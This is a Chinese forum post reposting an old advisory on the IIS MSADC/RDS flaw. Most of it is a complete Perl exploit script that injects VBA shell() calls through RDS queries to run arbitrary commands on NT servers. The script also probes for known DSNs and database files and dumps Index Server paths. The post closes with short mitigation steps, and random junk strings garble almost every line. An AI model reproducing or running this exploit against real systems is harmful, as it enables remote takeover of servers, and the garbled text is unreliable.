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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) E|-5=!]fX  
&X~8S/nPAw  
涉及程序: #"r_ 3  
Microsoft NT server HhCFAq"j  
KY< $+/B!  
描述: $$p +~X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 jdVj FCl^#  
D,p 2MBr  
详细: 1jKj' 7/K  
如果你没有时间读详细内容的话,就删除: $; _{|{Yj  
c:\Program Files\Common Files\System\Msadc\msadcs.dll r@i)Sluf  
有关的安全问题就没有了。 0#Us *:[6  
P}Mu|AEG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 cr0/.Zv)  
Vr& GsT  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >mvE[iXRG?  
关于利用ODBC远程漏洞的描述,请参看: 46 0/eW\  
gGCr~.5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P5G0fq7  
Rq2bj_j  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 h*<`ct xL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp .#tA .%  
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这里不再论述。 N@Ap|`Ei  
< <0[PJ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: >\'}&oi  
{%('|(57  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $!p2Kf>/Q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @Kt!uKrI  
tr0kTW$Ad  
%kkDitmI{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r&v!2A]:  
<x<qO=lq  
#!perl Hxac#(,7  
# sng6U;Z  
# MSADC/RDS 'usage' (aka exploit) script Zd-QZ<c";t  
# 3zfiegY@wm  
# by rain.forest.puppy hqHk,#  
# ".AW   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V1nqEdhk  
# beta test and find errors! &q-P O  
wS$ 'gKA6  
use Socket; use Getopt::Std; {Eo Z }I  
getopts("e:vd:h:XR", \%args); )9/iH(  
%( %EEt  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ]{|l4e4P  
w0=/V[fs  
if (!defined $args{h} && !defined $args{R}) { \zA3H$Df~  
print qq~ Fm&f  
Usage: msadc.pl -h <host> { -d <delay> -X -v } '>bn94$  
-h <host> = host you want to scan (ip or domain) F|VHr@%  
-d <seconds> = delay between calls, default 1 second i 28TH Jh  
-X = dump Index Server path table, if available K",Xe>  
-v = verbose ,B x0  
-e = external dictionary file for step 5 =b)!l9TX  
(yEU9R$I"  
Or a -R will resume a command session 71<4q {n  
l%i*.b(  
~; exit;} -c0*  
e&(Wn2)o  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; KF#qz2S  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if1)AE-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .hf%L1N%F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 06pY10<>X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :zfMRg  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } RcR-sbR  
D&N3LH  
if (!defined $args{R}){ $ret = &has_msadc; Q0 ezeo  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 0iMfyW:  
C^]UK  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" & R<K>i  
. "cmd /c "; HDE5Mg "  
$in=<STDIN>; chomp $in; ]d|M@v~c4  
$command="cmd /c " . $in ; hf)R PG&  
N/2WUp  
if (defined $args{R}) {&load; exit;} CAA 3-"Cwi  
-0CL#RzKR  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; IY}GU 2#  
&try_btcustmr; WwKpZ67$R  
3-0jxx(  
print "\nStep 2: Trying to make our own DSN..."; b9b`%9/L  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; : IsJE6r  
>*l2]3' `  
print "\nStep 3: Trying known DSNs..."; 7Y 4D9pw  
&known_dsn; V+|$H h8  
]P^ 3uXi  
print "\nStep 4: Trying known .mdbs..."; 9CIQRc  
&known_mdb; L&5zr_  
:de4Fje/4y  
if (defined $args{e}){ Z\1`(Pq7`  
print "\nStep 5: Trying dictionary of DSN names..."; 0!axAvBV  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [>Zg6q|  
$['`H)z  
print "Sorry Charley...maybe next time?\n"; QS,_=< (  
exit; ady SwB  
&MrG ,/  
############################################################################## #aP;a-Q|k  
#7J3,EV  
sub sendraw { # ripped and modded from whisker !;k ^  
sleep($delay); # it's a DoS on the server! At least on mine... [[4!b E  
my ($pstr)=@_; 3)^ 2X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0J5$ Yw1'F  
die("Socket problems\n"); 8l?@ o  
if(connect(S,pack "SnA4x8",2,80,$target)){ %~Ymb&ugg  
select(S); $|=1; Cq\{\!6[  
print $pstr; my @in=<S>; 6UPGE",u  
select(STDOUT); close(S); 6 iH]N*]S^  
return @in; etb#/L  
} else { die("Can't connect...\n"); }} W,t`DMC  
yS#D$q2_  
############################################################################## vL;=qk TCQ  
z3fU|*_c  
sub make_header { # make the HTTP request TPZ^hL>ao  
my $msadc=<<EOT ufA0H J)Yg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7Z81+I|&8  
User-Agent: ACTIVEDATA i Nn?G C>  
Host: $ip J,`I>^G  
Content-Length: $clen EY:EpVin  
Connection: Keep-Alive _UF'Cf+Y  
kRiZ6mn  
ADCClientVersion:01.06 Ao9|t;i  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .MxMBrM  
7:C2xC  
--!ADM!ROX!YOUR!WORLD! eX^ F^(   
Content-Type: application/x-varg p,)pz_M  
Content-Length: $reqlen Ao *{#z   
m O0#xY_z  
EOT o|VM{5  
; $msadc=~s/\n/\r\n/g; 3-![% u  
return $msadc;} *+ O  
o-AAx#@  
##############################################################################  A1jA$  
)Z`OkkabnD  
sub make_req { # make the RDS request ev yA#~o  
my ($switch, $p1, $p2)=@_; 4Rl~7|  
my $req=""; my $t1, $t2, $query, $dsn; v)!^%D  
H]0(GLvH  
if ($switch==1){ # this is the btcustmr.mdb query rAu@`H?  
$query="Select * from Customers where City=" . make_shell(); \#'m([<e  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . hl+ T  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  !h* F58  
wA%,_s/U  
elsif ($switch==2){ # this is general make table query dM5N1$1,  
$query="create table AZZ (B int, C varchar(10))"; pA5X<)~   
$dsn="$p1";} jpfFJon)w  
8{-bG8L> 5  
elsif ($switch==3){ # this is general exploit table query !R$t>X  
$query="select * from AZZ where C=" . make_shell(); 3.04Toq!  
$dsn="$p1";} [sG!|@r  
HD}3mP  
elsif ($switch==4){ # attempt to hork file info from index server *C^`+*}OE$  
$query="select path from scope()"; k/%n7 ;1  
$dsn="Provider=MSIDXS;";} f87lm*wZ  
YYd!/@|N5  
elsif ($switch==5){ # bad query Rd+ `b  
$query="select"; g6q67m<h  
$dsn="$p1";}  ] 2lh J  
2{-'`l fM%  
$t1= make_unicode($query); y]%Io]!d  
$t2= make_unicode($dsn); )G$0:-J-  
$req = "\x02\x00\x03\x00"; M7AUY#)  
$req.= "\x08\x00" . pack ("S1", length($t1)); ::k/hP9.^  
$req.= "\x00\x00" . $t1 ; t. kOR<  
$req.= "\x08\x00" . pack ("S1", length($t2)); myWa>Mvb  
$req.= "\x00\x00" . $t2 ; OQsF$% *   
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; >Co5_sCe  
return $req;} ;e ^`r;]  
WcE/,<^*  
############################################################################## N1z:9=(I  
=a./HCF  
sub make_shell { # this makes the shell() statement 7Dx <Sr!  
return "'|shell(\"$command\")|'";} C5'#0}6i  
^WIGd"^  
############################################################################## JVNp= ikK  
iED gcg7  
sub make_unicode { # quick little function to convert to unicode gA DF  
my ($in)=@_; my $out; " [K>faV  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } GMoE,L  
return $out;} Nc[u?-  
K(p6P3Z  
############################################################################## Jg%jmI;Y  
kT4Tb%7KM  
sub rdo_success { # checks for RDO return success (this is kludge) Qw/H7fvh&  
my (@in) = @_; my $base=content_start(@in); Q2!vO4!<N  
if($in[$base]=~/multipart\/mixed/){ >[gNQJ6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} sJ)Pj?"\?  
return 0;} g E;o_~  
Q.L.B7'e7  
############################################################################## z] teQaUZ  
Z"'tJ3Y.~  
sub make_dsn { # this makes a DSN for us LO M-i>  
my @drives=("c","d","e","f"); xy1R_*.F^T  
print "\nMaking DSN: "; y[sO0u\  
foreach $drive (@drives) { 8Ir = @  
print "$drive: "; ,hXhcfFl  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Ln5g"g8gb%  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" A<s9c=d6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qCgoB 0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; SpX6PwM  
return 0 if $2 eq "404"; # not found/doesn't exist kG$U  
if($2 eq "200") { vTUhIFa{  
foreach $line (@results) { H~r":A'"*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "~/O>.p  
} return 0;} $23dcC*hI  
'nh^'i&0.  
############################################################################## :Z5Twb3h  
^N:bT;;$nZ  
sub verify_exists { Q !G^CG  
my ($page)=@_; E >lW'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); =-|,v*  
return $results[0];} O4fl$egQU  
8P3"$2q  
############################################################################## ^5BQ=  
\J,pV  
sub try_btcustmr { O4A{GO^q  
my @drives=("c","d","e","f"); &S+o oj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ow4H7 sl  
MF/@Efjn ]  
foreach $dir (@dirs) { C;NG#4;'  
print "$dir -> "; # fun status so you can see progress -7:_Dy  
foreach $drive (@drives) { K/ 5U;oC  
print "$drive: "; # ditto &)v}oHy,m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Sn!5/9Y  
$reqlenlen=length( "$reqlen" ); |KLCO'x  
$clen= 206 + $reqlenlen + $reqlen; 2h5L#\H"  
1A.ecv'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); I&G"{Dl94  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?."YP[;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} B(h%>mT[  
TdWatvY5p  
############################################################################## .7|Iausv  
\RDS~u\d  
sub odbc_error { C4^o= 6{  
my (@in)=@_; my $base; 6#DDMP8;I  
my $base = content_start(@in); 8rY[Q(]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {<1 ]cP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o6T'U#7P  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @J UCXm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #9ZHt5T=$  
return $in[$base+4].$in[$base+5].$in[$base+6];} x|lX1Mh$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; }*9mNE  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !{%BfZX<&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} dNfME*"yN  
>s|zr S)  
############################################################################## X/' t1  
w=feXA3-S  
sub verbose { /@QPJ~%8Ud  
my ($in)=@_; {kNV|E  
return if !$verbose; N(=Z4Nk5  
print STDOUT "\n$in\n";} f*46,` x  
%UokR"  
############################################################################## !)$e+o^W  
@\s*f7  
sub save { S5>?j n1  
my ($p1, $p2, $p3, $p4)=@_; 7/b\NLeJ'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )LDBvpJyQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5Sv;a(}  
close OUT;} #$0*Gd-N  
!}PZCbDhL  
############################################################################## {7Q)2NC  
b:t|9 FE%  
sub load { tqXr6+!Q  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; fobnK~2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^9fY %98  
@p=<IN>; close(IN); %v)O!HC}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Vc*"Q8aZ~  
$target= inet_aton($ip) || die("inet_aton problems"); -fCR^`UOS  
print "Resuming to $ip ..."; U~1)a(Yu;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ) o`ep{<t  
if($p[1]==1) { 7w51UmO  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; P}8cSX9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; R;3n L[{U  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); s_}q  
if (rdo_success(@results)){print "Success!\n";} >7,?X_:A-1  
else { print "failed\n"; verbose(odbc_error(@results));}} wlsq[x P  
elsif ($p[1]==3){ 0 n}2D7  
if(run_query("$p[3]")){ -"uOh,G}  
print "Success!\n";} else { print "failed\n"; }} *r(Qy0(  
elsif ($p[1]==4){ n5>OZ3 E@  
if(run_query($drvst . "$p[3]")){ HP2J`>oo  
print "Success!\n"; } else { print "failed\n"; }} c.4WwzK  
exit;} IF'Tj`yD  
DrA\-G_7  
############################################################################## (j?ckah%V  
;fe~PPT  
sub create_table { 0"J0JcFX  
my ($in)=@_; t5RV-$  
$reqlen=length( make_req(2,$in,"") ) - 28; =M`Xu#eRk  
$reqlenlen=length( "$reqlen" ); '|J~2rbyr  
$clen= 206 + $reqlenlen + $reqlen; *w$3/  
my @results=sendraw(make_header() . make_req(2,$in,"")); x|`BF%e/v  
return 1 if rdo_success(@results); t 0.71(  
my $temp= odbc_error(@results); verbose($temp); _Nacqa  
return 1 if $temp=~/Table 'AZZ' already exists/; %fMFcL#h  
return 0;} R1vuf*A5,  
,xI FF-[0  
############################################################################## 9v@P|  
Kw=][}d`D  
sub known_dsn { )}lO%B'K  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go i62GZe E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", PvB{@82  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", +; / s0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D=@bPB>  
hg2UZ% Y  
foreach $dSn (@dsns) { 10IX8 4  
print "."; = P$Q;d  
next if (!is_access("DSN=$dSn")); #Q` TH<  
if(create_table("DSN=$dSn")){ N$N 7aE$  
print "$dSn successful\n"; EslHml#  
if(run_query("DSN=$dSn")){ "</A) y&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @Nn'G{8OG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} xSrjN  
yb6gYN  
############################################################################## V 5D8z  
p^k*[3$0  
sub is_access { DT3"uJTt  
my ($in)=@_; G@P+M1c  
$reqlen=length( make_req(5,$in,"") ) - 28; Fv<3VKueK[  
$reqlenlen=length( "$reqlen" ); V3(8?Fz.  
$clen= 206 + $reqlenlen + $reqlen; wvRwb   
my @results=sendraw(make_header() . make_req(5,$in,"")); S!66t?vHB  
my $temp= odbc_error(@results); 08+\fT [  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |7QSr!{_  
return 0;} M|fC2[]v B  
U".5x~UC  
############################################################################## %UlgG 1?A  
+GncQs y  
sub run_query { F^.~37= @  
my ($in)=@_; k)9+;bKQQ  
$reqlen=length( make_req(3,$in,"") ) - 28; Irui{%T  
$reqlenlen=length( "$reqlen" ); %bS1$ v\n  
$clen= 206 + $reqlenlen + $reqlen; p<+Y;,+  
my @results=sendraw(make_header() . make_req(3,$in,"")); !P3y+;S  
return 1 if rdo_success(@results); Tvt(nWn(H1  
my $temp= odbc_error(@results); verbose($temp); 5Od&-~O  
return 0;} &"( zK"O  
/ke[nr  
############################################################################## Z7>Nd$E{  
E24j(>   
sub known_mdb { i.{.koH<  
my @drives=("c","d","e","f","g"); Rn)fwGC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OIDP#K  
my $dir, $drive, $mdb; D$+g5u)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 86);0EBX  
6^lix9q7  
# this is sparse, because I don't know of many /U} )mdFm  
my @sysmdbs=( "\\catroot\\icatalog.mdb", =b, m3 1  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", m d `=2l  
"\\system32\\certmdb.mdb", zkquXzlgB  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b=5ZfhIg[  
~n$\[rQ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Ehxu`>@N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", &?}A/(#  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ~C>clkZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", a$\ Bt_  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", H@b4(6  
"\\cfusion\\database\\cfexamples.mdb", Xzl$Qc  
"\\cfusion\\database\\cfsnippets.mdb", Xck`"RU<xA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =;(L$:l~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `O5427Im  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -@ra~li,yQ  
"\\cfusion\\database\\smpolicy.mdb", ^7a@?|,q8  
"\\cfusion\\database\cypress.mdb", k136n#KN1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $z`l{F4eMf  
"\\website\\cgi-win\\dbsample.mdb", "L!U7|9J  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 'uF75C  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" B<ue}t  
); #these are just > `mV^QD  
foreach $drive (@drives) { %=$Knc_!T^  
foreach $dir (@dirs){ >.I9S{7  
foreach $mdb (@sysmdbs) { uA V7T/'  
print "."; WrS>^\:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ q\-P/aN_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; IJVzF1vC  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ |*DkriYY  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; lF t^dl^  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?C- ju8]|  
U1(cBY  
foreach $drive (@drives) { GG"6O_  
foreach $mdb (@mdbs) { `:C2Cj  
print "."; "l hj1zZ  
if(create_table($drv . $drive . $dir . $mdb)){ \ C>+ubF  
print "\n" . $drive . $dir . $mdb . " successful\n"; |o+*Iy)  
if(run_query($drv . $drive . $dir . $mdb)){ b 0qA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [H{@<*  
} else { print "Something's borked. Use verbose next time\n"; }}}} mZM,"Wq,  
} jz]}%O  
(>AQ\  
############################################################################## MiR$N  
~FQHT?DAo  
sub hork_idx { #d06wYz=  
print "\nAttempting to dump Index Server tables...\n"; uEf=Vj}G  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &er,Wyc(  
$reqlen=length( make_req(4,"","") ) - 28; Y`(~eNX^%  
$reqlenlen=length( "$reqlen" ); ?z2!?  
$clen= 206 + $reqlenlen + $reqlen; {3.n!7+  
my @results=sendraw2(make_header() . make_req(4,"","")); CRD=7\0(D+  
if (rdo_success(@results)){ Ql%B=vgKL  
my $max=@results; my $c; my %d; UNK.39  
for($c=19; $c<$max; $c++){ Nukyvse  
$results[$c]=~s/\x00//g; V]GF53D  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^tjw }sE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; SUv'cld  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; bWSc&/ 9y  
$d{"$1$2"}="";} 9 )!}  
foreach $c (keys %d){ print "$c\n"; } |28'<BL  
} else {print "Index server doesn't seem to be installed.\n"; }} ,i Y:#E  
;9~ WB X"  
############################################################################## pwkTe  
~)n[Vf  
sub dsn_dict { &]GR*a  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *X{7m]5  
while(<IN>){ IsShAi  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; TZ `Ypi7r  
next if (!is_access("DSN=$dSn")); 1up p E|  
if(create_table("DSN=$dSn")){ i]J.WFu  
print "$dSn successful\n"; _RbM'_y+E  
if(run_query("DSN=$dSn")){ 4HR36=E6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D.Cn`O}  
print "Something's borked. Use verbose next time\n";}}} jm@,Ihz=wI  
print "\n"; close(IN);} *8uS,s6g  
ecQ{ePoU  
############################################################################## r d-yqdJ  
g{i= $xc  
sub sendraw2 { # ripped and modded from whisker 5IOGH*'U8  
sleep($delay); # it's a DoS on the server! At least on mine... em5~4;&'  
my ($pstr)=@_; e&*b{>1*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Bs`{qmbC  
die("Socket problems\n"); =mF"D:s*  
if(connect(S,pack "SnA4x8",2,80,$target)){ >3pT).wH|M  
print "Connected. Getting data"; TOF V`7q;3  
open(OUT,">raw.out"); my @in; RwYFBc  
select(S); $|=1; print $pstr; ?{jey_]M  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &3;"$P  
close(OUT); select(STDOUT); close(S); return @in; /-i m g^^  
} else { die("Can't connect...\n"); }} ivn2   
x0jaTlU/  
############################################################################## -*Rf [|Z  
.@%L8_sMR  
sub content_start { # this will take in the server headers PTLlLa85<  
my (@in)=@_; my $c; fQ~TZ:UrU  
for ($c=1;$c<500;$c++) { TnKv)%VF  
if($in[$c] =~/^\x0d\x0a/){ ?QzL#iO }h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +/l@o u'  
else { return $c+1; }}} _hJdC|/   
return -1;} # it should never get here actually lS#: u-k  
&M@c50&%  
############################################################################## (_8.gS[  
#z _<{' P"  
sub funky { x;$ESPPg  
my (@in)=@_; my $error=odbc_error(@in); M:/(~X{?  
if($error=~/ADO could not find the specified provider/){ /e[m;+9^&  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; zi3v, Kq  
exit;} J*MH`;-  
if($error=~/A Handler is required/){ HfgTc h  
print "\nServer has custom handler filters (they most likely are patched)\n"; &VA^LS@b  
exit;} 71Za!3+  
if($error=~/specified Handler has denied Access/){ pgiZA?r*<  
print "\nServer has custom handler filters (they most likely are patched)\n"; %OB>FY:|  
exit;}} IW&*3I<K  
0ju-l= w  
############################################################################## LU+SuVm  
Bpm COA  
sub has_msadc { 24k]X`/n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); tgl(*[T2  
my $base=content_start(@results); oA@M =  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); y<w_>O  
return 0;} 1^*ogMe  
VFx[{Hy  
########################  J]XLWAM  
`B4Ilh"d  
~3M8"}X;L  
解决方案: iE HWD.u  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll (]T[n={Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =X^a  
(lS[a  
拿出来充数 哈哈
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